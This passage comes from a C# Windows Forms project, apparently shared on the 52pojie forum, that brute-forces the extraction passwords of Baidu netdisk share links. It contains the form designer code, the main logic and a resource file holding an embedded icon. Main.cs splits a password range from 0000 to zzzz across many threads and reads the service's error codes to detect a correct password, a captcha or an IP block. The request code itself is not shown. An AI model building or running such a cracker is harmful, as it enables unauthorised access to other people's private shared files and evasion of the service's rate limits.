this.btn.Click += new System.EventHandler(this.btn_Click);
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 17);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 13);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 40);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(315, 161);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(110, 55);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(186, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(110, 20);
this.text_xczs.MaxLength = 3;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(186, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(15, 58);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(15, 23);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(110, 125);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(186, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(110, 90);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(186, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(15, 128);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(15, 93);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 209);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 25);
this.txt_ts.TabIndex = 4;
this.txt_ts.Text = "提示文本";
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 280);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码测试器 —By:52pojie(zgcwkj)";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing);
this.Load += new System.EventHandler(this.Main_Load);
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Button btn;
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Timers;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
private void Main_Load(object sender, EventArgs e)
{
if (!File.Exists("Configuration.ini")) File.AppendAllText("Configuration.ini", "|100|200|0000|zzzz");
string[] Configuration = File.ReadAllText("Configuration.ini").Split('|');
text_url.Text = Configuration[0];
text_xczs.Text = Configuration[1];
text_zxsd.Text = Configuration[2];
text_ksd.Text = Configuration[3];
text_jsd.Text = Configuration[4];
}
private void Main_FormClosing(object sender, FormClosingEventArgs e)
{
File.Delete("Configuration.ini");
File.AppendAllText("Configuration.ini", text_url.Text + "|" + text_xczs.Text + "|" + text_zxsd.Text + "|" + text_ksd.Text + "|" + text_jsd.Text);
}
private void btn_Click(object sender, EventArgs e)//启动按钮
{
if (text_url.Text == "") { MessageBox.Show("啥也没输入呢!"); return; }//防止空文本也执行
StaticClass.Folder = DateTime.Now.ToString("yyyyMMddHHmmss");//用时间达到随机名称功能
if (!File.Exists(StaticClass.Folder + ".ini")) File.AppendAllText(StaticClass.Folder + ".ini", "时间:" + StaticClass.Folder + ",目标连接:" + text_url.Text + "\r\n");
int start = Hash.Str2Hash(text_ksd.Text);
int end = Hash.Str2Hash(text_jsd.Text);
int total = end - start + 1;//尝试的总数
int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数
gb_1.Text = "一共要尝试" + total + "次密码";
enabled(false);
StaticClass.status = false;
StaticClass.url = text_url.Text.Trim();
for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++)
{
new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text));
}
text_ksd.Text = text_jsd.Text;
}
delegate void Modifystr(string str1, string str2);//委托进行显示数据
public void ModifyStr(string str1, string str2)//委托进行显示数据
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;
File.AppendAllText(StaticClass.Folder + ".ini", txt_ts.Text + "\r\n");
if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":0"))//密码正常
{
enabled(true);
StaticClass.status = true;
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else if (str1.Contains("404"))//拒绝访问
{
enabled(true);
StaticClass.status = true;
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
else { }//未知错误
}
}
private void _KeyPress(object sender, KeyPressEventArgs e)//限制输入
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
public void enabled(bool b)//启用或禁用控件
{
gb_1.Enabled = btn.Enabled = b;
}
}
}
================================================
FILE: TestPassword V1.0.0.0/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
